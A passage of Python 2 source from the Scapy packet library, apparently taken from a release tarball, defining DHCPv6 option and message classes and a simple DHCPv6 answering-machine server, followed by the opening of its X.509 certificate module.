26, dhcp6opts), FieldLenField("optlen", None, length_of="iaprefopts", adjust = lambda pkt,x: x+26), IntField("preflft", 0), IntField("validlft", 0), ByteField("plen", 48), # TODO: Challenge that default value IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt StrLenField("iaprefopts", "", length_from = lambda pkt: pkt.optlen-26) ] class DHCP6OptIA_PD(_DHCP6OptGuessPayload): #RFC3633 name = "DHCP6 Option - Identity Association for Prefix Delegation" fields_desc = [ ShortEnumField("optcode", 25, dhcp6opts), FieldLenField("optlen", None, length_of="iapdopt", adjust = lambda pkt,x: x+12), IntField("iaid", 0), IntField("T1", 0), IntField("T2", 0), PacketListField("iapdopt", [], DHCP6OptIAPrefix, length_from = lambda pkt: pkt.optlen-12) ] class DHCP6OptNISServers(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS Servers" fields_desc = [ ShortEnumField("optcode", 27, dhcp6opts), FieldLenField("optlen", None, length_of="nisservers"), IP6ListField("nisservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptNISPServers(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS+ Servers" fields_desc = [ ShortEnumField("optcode", 28, dhcp6opts), FieldLenField("optlen", None, length_of="nispservers"), IP6ListField("nispservers", [], length_from = lambda pkt: pkt.optlen) ] class DomainNameField(StrLenField): def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): save = x cur = [] while x and x[0] != '\x00': l = ord(x[0]) cur.append(x[1:1+l]) x = x[l+1:] if x[0] != '\x00': print "Found weird domain: '%s'. Keeping %s" % (save, x) return ".".join(cur) def i2m(self, pkt, x): def conditionalTrailingDot(z): if (z and z[-1] == '\x00'): return z return z+'\x00' if not x: return "" tmp = "".join(map(lambda z: chr(len(z))+z, x.split('.'))) return conditionalTrailingDot(tmp) class DHCP6OptNISDomain(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS Domain Name" fields_desc = [ ShortEnumField("optcode", 29, dhcp6opts), FieldLenField("optlen", None, length_of="nisdomain"), DomainNameField("nisdomain", "", length_from = lambda pkt: pkt.optlen) ] class DHCP6OptNISPDomain(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS+ Domain Name" fields_desc = [ ShortEnumField("optcode", 30, dhcp6opts), FieldLenField("optlen", None, length_of="nispdomain"), DomainNameField("nispdomain", "", length_from= lambda pkt: pkt.optlen) ] class DHCP6OptSNTPServers(_DHCP6OptGuessPayload): #RFC4075 name = "DHCP6 option - SNTP Servers" fields_desc = [ ShortEnumField("optcode", 31, dhcp6opts), FieldLenField("optlen", None, length_of="sntpservers"), IP6ListField("sntpservers", [], length_from = lambda pkt: pkt.optlen) ] IRT_DEFAULT=86400 IRT_MINIMUM=600 class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload): #RFC4242 name = "DHCP6 Option - Information Refresh Time" fields_desc = [ ShortEnumField("optcode", 32, dhcp6opts), ShortField("optlen", 4), IntField("reftime", IRT_DEFAULT)] # One day class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload): #RFC4280 name = "DHCP6 Option - BCMCS Domain Name List" fields_desc = [ ShortEnumField("optcode", 33, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsdomains"), DomainNameListField("bcmcsdomains", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload): #RFC4280 name = "DHCP6 Option - BCMCS Addresses List" fields_desc = [ ShortEnumField("optcode", 34, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsservers"), IP6ListField("bcmcsservers", [], length_from= lambda pkt: pkt.optlen) ] # TODO : Does Nothing at the moment class DHCP6OptGeoConf(_DHCP6OptGuessPayload): #RFC-ietf-geopriv-dhcp-civil-09.txt name = "" fields_desc = [ ShortEnumField("optcode", 36, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] # TODO: see if we encounter opaque values from vendor devices class DHCP6OptRemoteID(_DHCP6OptGuessPayload): #RFC4649 name = "DHCP6 Option - Relay Agent Remote-ID" fields_desc = [ ShortEnumField("optcode", 37, dhcp6opts), FieldLenField("optlen", None, length_of="remoteid", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum", None, iana_enterprise_num), StrLenField("remoteid", "", length_from = lambda pkt: pkt.optlen-4) ] # TODO : 'subscriberid' default value should be at least 1 byte long class DHCP6OptSubscriberID(_DHCP6OptGuessPayload): #RFC4580 name = "DHCP6 Option - Subscriber ID" fields_desc = [ ShortEnumField("optcode", 38, dhcp6opts), FieldLenField("optlen", None, length_of="subscriberid"), StrLenField("subscriberid", "", length_from = lambda pkt: pkt.optlen) ] # TODO : "The data in the Domain Name field MUST be encoded # as described in Section 8 of [5]" class DHCP6OptClientFQDN(_DHCP6OptGuessPayload): #RFC4704 name = "DHCP6 Option - Client FQDN" fields_desc = [ ShortEnumField("optcode", 39, dhcp6opts), FieldLenField("optlen", None, length_of="fqdn", adjust = lambda pkt,x: x+1), BitField("res", 0, 5), FlagsField("flags", 0, 3, "SON" ), DomainNameField("fqdn", "", length_from = lambda pkt: pkt.optlen-1) ] class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload): # RFC4994 name = "DHCP6 Option - RelayRequest Option" fields_desc = [ ShortEnumField("optcode", 43, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from = lambda pkt: pkt.optlen) ] ##################################################################### ### DHCPv6 messages ### ##################################################################### # Some state parameters of the protocols that should probably be # useful to have in the configuration (and keep up-to-date) DHCP6RelayAgentUnicastAddr="" DHCP6RelayHopCount="" DHCP6ServerUnicastAddr="" DHCP6ClientUnicastAddr="" DHCP6ClientIA_TA="" DHCP6ClientIA_NA="" DHCP6ClientIAID="" T1="" # Voir 2462 T2="" # Voir 2462 DHCP6ServerDUID="" DHCP6CurrentTransactionID="" # devrait etre utilise pour matcher une # reponse et mis a jour en mode client par une valeur aleatoire pour # laquelle on attend un retour de la part d'un serveur. DHCP6PrefVal="" # la valeur de preference a utiliser dans # les options preference # Emitted by : # - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay) # - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE, # INFORMATION REQUEST # - relay : RELAY-FORW (toward server) class _DHCP6GuessPayload(Packet): def guess_payload_class(self, payload): if len(payload) > 1 : print ord(payload[0]) return get_cls(dhcp6opts.get(ord(payload[0]),"DHCP6OptUnknown"), Raw) return Raw ##################################################################### ## DHCPv6 messages sent between Clients and Servers (types 1 to 11) # Comme specifie en section 15.1 de la RFC 3315, les valeurs de # transaction id sont selectionnees de maniere aleatoire par le client # a chaque emission et doivent matcher dans les reponses faites par # les clients class DHCP6(_DHCP6OptGuessPayload): name = "DHCPv6 Generic Message)" fields_desc = [ ByteEnumField("msgtype",None,dhcp6types), X3BytesField("trid",0x000000) ] overload_fields = { UDP: {"sport": 546, "dport": 547} } def hashret(self): return struct.pack("!I", self.trid)[1:4] ##################################################################### # Solicit Message : sect 17.1.1 RFC3315 # - sent by client # - must include a client identifier option # - the client may include IA options for any IAs to which it wants the # server to assign address # - The client use IA_NA options to request the assignment of # non-temporary addresses and uses IA_TA options to request the # assignment of temporary addresses # - The client should include an Option Request option to indicate the # options the client is interested in receiving (eventually # including hints) # - The client includes a Reconfigure Accept option if is willing to # accept Reconfigure messages from the server. # Le cas du send and reply est assez particulier car suivant la # presence d'une option rapid commit dans le solicit, l'attente # s'arrete au premier message de reponse recu ou alors apres un # timeout. De la meme maniere, si un message Advertise arrive avec une # valeur de preference de 255, il arrete l'attente et envoie une # Request. # - The client announces its intention to use DHCP authentication by # including an Authentication option in its solicit message. The # server selects a key for the client based on the client's DUID. The # client and server use that key to authenticate all DHCP messages # exchanged during the session class DHCP6_Solicit(DHCP6): name = "DHCPv6 Solicit Message" msgtype = 1 overload_fields = { UDP: {"sport": 546, "dport": 547} } ##################################################################### # Advertise Message # - sent by server # - Includes a server identifier option # - Includes a client identifier option # - the client identifier option must match the client's DUID # - transaction ID must match class DHCP6_Advertise(DHCP6): name = "DHCPv6 Advertise Message" msgtype = 2 overload_fields = { UDP: {"sport": 547, "dport": 546} } def answers(self, other): return (isinstance(other,DHCP6_Solicit) and other.msgtype == 1 and self.trid == other.trid) ##################################################################### # Request Message # - sent by clients # - includes a server identifier option # - the content of Server Identifier option must match server's DUID # - includes a client identifier option # - must include an ORO Option (even with hints) p40 # - can includes a reconfigure Accept option indicating whether or # not the client is willing to accept Reconfigure messages from # the server (p40) # - When the server receives a Request message via unicast from a # client to which the server has not sent a unicast option, the server # discards the Request message and responds with a Reply message # containinig Status Code option with the value UseMulticast, a Server # Identifier Option containing the server's DUID, the client # Identifier option from the client message and no other option. class DHCP6_Request(DHCP6): name = "DHCPv6 Request Message" msgtype = 3 ##################################################################### # Confirm Message # - sent by clients # - must include a clien identifier option # - When the server receives a Confirm Message, the server determines # whether the addresses in the Confirm message are appropriate for the # link to which the client is attached. cf p50 class DHCP6_Confirm(DHCP6): name = "DHCPv6 Confirm Message" msgtype = 4 ##################################################################### # Renew Message # - sent by clients # - must include a server identifier option # - content of server identifier option must match the server's identifier # - must include a client identifier option # - the clients includes any IA assigned to the interface that may # have moved to a new link, along with the addresses associated with # those IAs in its confirm messages # - When the server receives a Renew message that contains an IA # option from a client, it locates the client's binding and verifies # that the information in the IA from the client matches the # information for that client. If the server cannot find a client # entry for the IA the server returns the IA containing no addresses # with a status code option est to NoBinding in the Reply message. cf # p51 pour le reste. class DHCP6_Renew(DHCP6): name = "DHCPv6 Renew Message" msgtype = 5 ##################################################################### # Rebind Message # - sent by clients # - must include a client identifier option # cf p52 class DHCP6_Rebind(DHCP6): name = "DHCPv6 Rebind Message" msgtype = 6 ##################################################################### # Reply Message # - sent by servers # - the message must include a server identifier option # - transaction-id field must match the value of original message # The server includes a Rapid Commit option in the Reply message to # indicate that the reply is in response to a solicit message # - if the client receives a reply message with a Status code option # with the value UseMulticast, the client records the receipt of the # message and sends subsequent messages to the server through the # interface on which the message was received using multicast. The # client resends the original message using multicast # - When the client receives a NotOnLink status from the server in # response to a Confirm message, the client performs DHCP server # solicitation as described in section 17 and client-initiated # configuration as descrribed in section 18 (RFC 3315) # - when the client receives a NotOnLink status from the server in # response to a Request, the client can either re-issue the Request # without specifying any addresses or restart the DHCP server # discovery process. # - the server must include a server identifier option containing the # server's DUID in the Reply message class DHCP6_Reply(DHCP6): name = "DHCPv6 Reply Message" msgtype = 7 def answers(self, other): return (isinstance(other, DHCP6_InfoRequest) and self.trid == other.trid) ##################################################################### # Release Message # - sent by clients # - must include a server identifier option # cf p53 class DHCP6_Release(DHCP6): name = "DHCPv6 Release Message" msgtype = 8 ##################################################################### # Decline Message # - sent by clients # - must include a client identifier option # - Server identifier option must match server identifier # - The addresses to be declined must be included in the IAs. Any # addresses for the IAs the client wishes to continue to use should # not be in added to the IAs. # - cf p54 class DHCP6_Decline(DHCP6): name = "DHCPv6 Decline Message" msgtype = 9 ##################################################################### # Reconfigure Message # - sent by servers # - must be unicast to the client # - must include a server identifier option # - must include a client identifier option that contains the client DUID # - must contain a Reconfigure Message Option and the message type # must be a valid value # - the server sets the transaction-id to 0 # - The server must use DHCP Authentication in the Reconfigure # message. Autant dire que ca va pas etre le type de message qu'on va # voir le plus souvent. class DHCP6_Reconf(DHCP6): name = "DHCPv6 Reconfigure Message" msgtype = 10 overload_fields = { UDP: { "sport": 547, "dport": 546 } } ##################################################################### # Information-Request Message # - sent by clients when needs configuration information but no # addresses. # - client should include a client identifier option to identify # itself. If it doesn't the server is not able to return client # specific options or the server can choose to not respond to the # message at all. The client must include a client identifier option # if the message will be authenticated. # - client must include an ORO of option she's interested in receiving # (can include hints) class DHCP6_InfoRequest(DHCP6): name = "DHCPv6 Information Request Message" msgtype = 11 def hashret(self): return struct.pack("!I", self.trid)[1:3] ##################################################################### # sent between Relay Agents and Servers # # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # voir section 7.1 de la 3315 # Relay-Forward Message # - sent by relay agents to servers # If the relay agent relays messages to the All_DHCP_Servers multicast # address or other multicast addresses, it sets the Hop Limit field to # 32. class DHCP6_RelayForward(_DHCP6GuessPayload,Packet): name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)" fields_desc = [ ByteEnumField("msgtype", 12, dhcp6types), ByteField("hopcount", None), IP6Field("linkaddr", "::"), IP6Field("peeraddr", "::") ] def hashret(self): # we filter on peer address field return inet_pton(socket.AF_INET6, self.peeraddr) ##################################################################### # sent between Relay Agents and Servers # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # Les valeurs des champs hop-count, link-addr et peer-addr # sont copiees du messsage Forward associe. POur le suivi de session. # Pour le moment, comme decrit dans le commentaire, le hashret # se limite au contenu du champ peer address. # Voir section 7.2 de la 3315. # Relay-Reply Message # - sent by servers to relay agents # - if the solicit message was received in a Relay-Forward message, # the server constructs a relay-reply message with the Advertise # message in the payload of a relay-message. cf page 37/101. Envoie de # ce message en unicast au relay-agent. utilisation de l'adresse ip # presente en ip source du paquet recu class DHCP6_RelayReply(DHCP6_RelayForward): name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)" msgtype = 13 def hashret(self): # We filter on peer address field. return inet_pton(socket.AF_INET6, self.peeraddr) def answers(self, other): return (isinstance(other, DHCP6_RelayForward) and self.count == other.count and self.linkaddr == other.linkaddr and self.peeraddr == other.peeraddr ) dhcp6_cls_by_type = { 1: "DHCP6_Solicit", 2: "DHCP6_Advertise", 3: "DHCP6_Request", 4: "DHCP6_Confirm", 5: "DHCP6_Renew", 6: "DHCP6_Rebind", 7: "DHCP6_Reply", 8: "DHCP6_Release", 9: "DHCP6_Decline", 10: "DHCP6_Reconf", 11: "DHCP6_InfoRequest", 12: "DHCP6_RelayForward", 13: "DHCP6_RelayReply" } def _dhcp6_dispatcher(x, *args, **kargs): cls = Raw if len(x) >= 2: cls = get_cls(dhcp6_cls_by_type.get(ord(x[0]), "Raw"), Raw) return cls(x, *args, **kargs) bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 547 } ) bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 546 } ) class DHCPv6_am(AnsweringMachine): function_name = "dhcp6d" filter = "udp and port 546 and port 547" send_function = staticmethod(send) def usage(self): msg = """ dhcp6d( dns="2001:500::1035", domain="localdomain, local", duid=None) iface=conf.iface6, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomain=None, bcmcsservers=None) debug : When set, additional debugging information is printed. duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none is provided a DUID_LLT is constructed based on the MAC address of the sending interface and launch time of dhcp6d answering machine. iface : the interface to listen/reply on if you do not want to use conf.iface6. advpref : Value in [0,255] given to Advertise preference field. By default, 255 is used. Be aware that this specific value makes clients stops waiting for further Advertise messages from other servers. dns : list of recursive DNS servers addresses (as a string or list). By default, it is set empty and the associated DHCP6OptDNSServers option is inactive. See RFC 3646 for details. domain : a list of DNS search domain (as a string or list). By default, it is empty and the associated DHCP6OptDomains option is inactive. See RFC 3646 for details. sntpservers : a list of SNTP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSNTPServers option is inactive. sipdomains : a list of SIP domains. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. sipservers : a list of SIP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. nisdomain : a list of NIS domains. By default, it is empty and the associated DHCP6OptNISDomains option is inactive. See RFC 3898 for details. See RFC 3646 for details. nisservers : a list of NIS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3646 for details. nispdomain : a list of NIS+ domains. By default, it is empty and the associated DHCP6OptNISPDomains option is inactive. See RFC 3898 for details. nispservers : a list of NIS+ servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3898 for details. bcmcsdomain : a list of BCMCS domains. By default, it is empty and the associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280 for details. bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptBCMCSServers option is inactive. See RFC 4280 for details. If you have a need for others, just ask ... or provide a patch.""" print msg def parse_options(self, dns="2001:500::1035", domain="localdomain, local", startip="2001:db8::1", endip="2001:db8::20", duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255): def norm_list(val, param_name): if val is None: return None if type(val) is list: return val elif type(val) is str: l = val.split(',') return map(lambda x: x.strip(), l) else: print "Bad '%s' parameter provided." % param_name self.usage() return -1 if iface is None: iface = conf.iface6 self.debug = debug # Dictionary of provided DHCPv6 options, keyed by option type self.dhcpv6_options={} for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)), (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)), (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)), (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)), (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x+[""])[0])), (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x+[""])[0])), (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)), (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]: opt = norm_list(o[0], o[1]) if opt == -1: # Usage() was triggered return False elif opt is None: # We won't return that option pass else: self.dhcpv6_options[o[2]] = o[3](opt) if self.debug: print "\n[+] List of active DHCPv6 options:" opts = self.dhcpv6_options.keys() opts.sort() for i in opts: print " %d: %s" % (i, repr(self.dhcpv6_options[i])) # Preference value used in Advertise. self.advpref = advpref # IP Pool self.startip = startip self.endip = endip # XXX TODO Check IPs are in same subnet #### # The interface we are listening/replying on self.iface = iface #### # Generate a server DUID if duid is not None: self.duid = duid else: # Timeval from time import gmtime, strftime, mktime epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) delta = mktime(epoch) - mktime(gmtime(0)) timeval = time.time() - delta # Mac Address rawmac = get_if_raw_hwaddr(iface)[1] mac = ":".join(map(lambda x: "%.02x" % ord(x), list(rawmac))) self.duid = DUID_LLT(timeval = timeval, lladdr = mac) if self.debug: print "\n[+] Our server DUID:" self.duid.show(label_lvl=" "*4) #### # Find the source address we will use l = filter(lambda x: x[2] == iface and in6_islladdr(x[0]), in6_getifaddr()) if not l: warning("Unable to get a Link-Local address") return self.src_addr = l[0][0] #### # Our leases self.leases = {} if self.debug: print "\n[+] Starting DHCPv6 service on %s:" % self.iface def is_request(self, p): if not IPv6 in p: return False src = p[IPv6].src dst = p[IPv6].dst p = p[IPv6].payload if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547 : return False p = p.payload if not isinstance(p, DHCP6): return False # Message we considered client messages : # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6) # Decline (9), Release (8), Information-request (11), if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]): return False # Message validation following section 15 of RFC 3315 if ((p.msgtype == 1) or # Solicit (p.msgtype == 6) or # Rebind (p.msgtype == 4)): # Confirm if ((not DHCP6OptClientId in p) or DHCP6OptServerId in p): return False if (p.msgtype == 6 or # Rebind p.msgtype == 4): # Confirm # XXX We do not reply to Confirm or Rebind as we # XXX do not support address assignment return False elif (p.msgtype == 3 or # Request p.msgtype == 5 or # Renew p.msgtype == 8): # Release # Both options must be present if ((not DHCP6OptServerId in p) or (not DHCP6OptClientId in p)): return False # provided server DUID must match ours duid = p[DHCP6OptServerId].duid if (type(duid) != type(self.duid)): return False if str(duid) != str(self.duid): return False if (p.msgtype == 5 or # Renew p.msgtype == 8): # Release # XXX We do not reply to Renew or Release as we # XXX do not support address assignment return False elif p.msgtype == 9: # Decline # XXX We should check if we are tracking that client if not self.debug: return False bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal r = Color.red vendor = in6_addrtovendor(src) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" src = bo + src + n it = p addrs = [] while it: l = [] if isinstance(it, DHCP6OptIA_NA): l = it.ianaopts elif isinstance(it, DHCP6OptIA_TA): l = it.iataopts opsaddr = filter(lambda x: isinstance(x, DHCP6OptIAAddress),l) a=map(lambda x: x.addr, opsaddr) addrs += a it = it.payload addrs = map(lambda x: bo + x + n, addrs) if debug: msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n msg += " from " + bo + src + vendor + " for " msg += ", ".join(addrs)+ n print msg # See sect 18.1.7 # Sent by a client to warn us she has determined # one or more addresses assigned to her is already # used on the link. # We should simply log that fact. No messaged should # be sent in return. # - Message must include a Server identifier option # - the content of the Server identifier option must # match the server's identifier # - the message must include a Client Identifier option return False elif p.msgtype == 11: # Information-Request if DHCP6OptServerId in p: duid = p[DHCP6OptServerId].duid if (type(duid) != type(self.duid)): return False if str(duid) != str(self.duid): return False if ((DHCP6OptIA_NA in p) or (DHCP6OptIA_TA in p) or (DHCP6OptIA_PD in p)): return False else: return False return True def print_reply(self, req, reply): def norm(s): if s.startswith("DHCPv6 "): s = s[7:] if s.endswith(" Message"): s = s[:-8] return s if reply is None: return bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal reqtype = g + norm(req.getlayer(UDP).payload.name) + n reqsrc = req.getlayer(IPv6).src vendor = in6_addrtovendor(reqsrc) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" reqsrc = bo + reqsrc + n reptype = g + norm(reply.getlayer(UDP).payload.name) + n print "Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor) def make_reply(self, req): req_mac_src = req.src req_mac_dst = req.dst p = req[IPv6] req_src = p.src req_dst = p.dst p = p.payload.payload msgtype = p.msgtype trid = p.trid if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315) # XXX We don't support address or prefix assignment # XXX We also do not support relay function --arno client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) if p.haslayer(DHCP6OptRapidCommit): # construct a Reply packet resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptRapidCommit() # See 17.1.2 resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) else: # No Rapid Commit in the packet. Reply with an Advertise if (p.haslayer(DHCP6OptIA_NA) or p.haslayer(DHCP6OptIA_TA)): # XXX We don't assign addresses at the moment msg = "Scapy6 dhcp6d does not support address assignment" resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) elif p.haslayer(DHCP6OptIA_PD): # XXX We don't assign prefixes at the moment msg = "Scapy6 dhcp6d does not support prefix assignment" resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) else: # Usual case, no request for prefixes or addresse resp /= DHCP6_Advertise(trid = trid) resp /= DHCP6OptPref(prefval = self.advpref) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) resp /= DHCP6OptReconfAccept() # See which options should be included reqopts = [] if p.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): if o in reqopts: resp /= self.dhcpv6_options[o] else: # advertise everything we have available for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp elif msgtype == 3: #REQUEST (INFO-REQUEST is further below) client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Solicit(trid=trid) resp /= DHCP6OptServerId(duid = self.duid) resp /= DHCP6OptClientId(duid = client_duid) # See which options should be included reqopts = [] if p.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): if o in reqopts: resp /= self.dhcpv6_options[o] else: # advertise everything we have available. # Should not happen has clients MUST include # and ORO in requests (sec 18.1.1) -- arno for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp elif msgtype == 4: # CONFIRM # see Sect 18.1.2 # Client want to check if addresses it was assigned # are still appropriate # Server must discard any Confirm messages that # do not include a Client Identifier option OR # THAT DO INCLUDE a Server Identifier Option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 5: # RENEW # see Sect 18.1.3 # Clients want to extend lifetime of assigned addresses # and update configuration parameters. This message is sent # specifically to the server that provided her the info # - Received message must include a Server Identifier # option. # - the content of server identifier option must match # the server's identifier. # - the message must include a Client identifier option pass elif msgtype == 6: # REBIND # see Sect 18.1.4 # Same purpose as the Renew message but sent to any # available server after he received no response # to its previous Renew message. # - Message must include a Client Identifier Option # - Message can't include a Server identifier option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 8: # RELEASE # See section 18.1.6 # Message is sent to the server to indicate that # she will no longer use the addresses that was assigned # We should parse the message and verify our dictionary # to log that fact. # - The message must include a server identifier option # - The content of the Server Identifier option must # match the server's identifier # - the message must include a Client Identifier option pass elif msgtype == 9: # DECLINE # See section 18.1.7 pass elif msgtype == 11: # INFO-REQUEST client_duid = None if not p.haslayer(DHCP6OptClientId): if self.debug: warning("Received Info Request message without Client Id option") else: client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptServerId(duid = self.duid) if client_duid: resp /= DHCP6OptClientId(duid = client_duid) # Stack requested options if available reqopts = [] if p.haslayer(DHCP6OptOptReq): reqopts = p[DHCP6OptOptReq].reqopts for o in self.dhcpv6_options.keys(): resp /= self.dhcpv6_options[o] return resp else: # what else ? pass # - We won't support reemission # - We won't support relay role, nor relay forwarded messages # at the beginning scapy-2.2.0/scapy/layers/x509.py0000644000175000017500000000602411430356077014445 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ X.509 certificates. """ from scapy.asn1packet import * from scapy.asn1fields import * ########## ## X509 ## ########## ######[ ASN1 class ]###### class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 CONT2 = 0xa2 CONT3 = 0xa3 class ASN1_X509_CONT0(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT0 class ASN1_X509_CONT1(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT1 class ASN1_X509_CONT2(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT2 class ASN1_X509_CONT3(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT3 ######[ BER codecs ]####### class BERcodec_X509_CONT0(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT0 class BERcodec_X509_CONT1(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT1 class BERcodec_X509_CONT2(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT2 class BERcodec_X509_CONT3(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT3 ######[ ASN1 fields ]###### class ASN1F_X509_CONT0(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT0 class ASN1F_X509_CONT1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT1 class ASN1F_X509_CONT2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT2 class ASN1F_X509_CONT3(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT3 ######[ X509 packets ]###### class X509RDN(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET( ASN1F_SEQUENCE( ASN1F_OID("oid","2.5.4.6"), ASN1F_PRINTABLE_STRING("value","") ) ) class X509v3Ext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("val",ASN1_NULL(0)) class X509Cert(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_optionnal(ASN1F_X509_CONT0(ASN1F_INTEGER("version",3))), ASN1F_INTEGER("sn",1), ASN1F_SEQUENCE(ASN1F_OID("sign_algo","1.2.840.113549.1.1.5"), ASN1F_field("sa_value",ASN1_NULL(0))), ASN1F_SEQUENCE_OF("issuer",[],X509RDN), ASN1F_SEQUENCE(ASN1F_UTC_TIME("not_before",ZuluTime(-600)), # ten minutes ago ASN1F_UTC_TIME("not_after",ZuluTime(+86400))), # for 24h ASN1F_SEQUENCE_OF("subject",[],X509RDN), ASN1F_SEQUENCE( 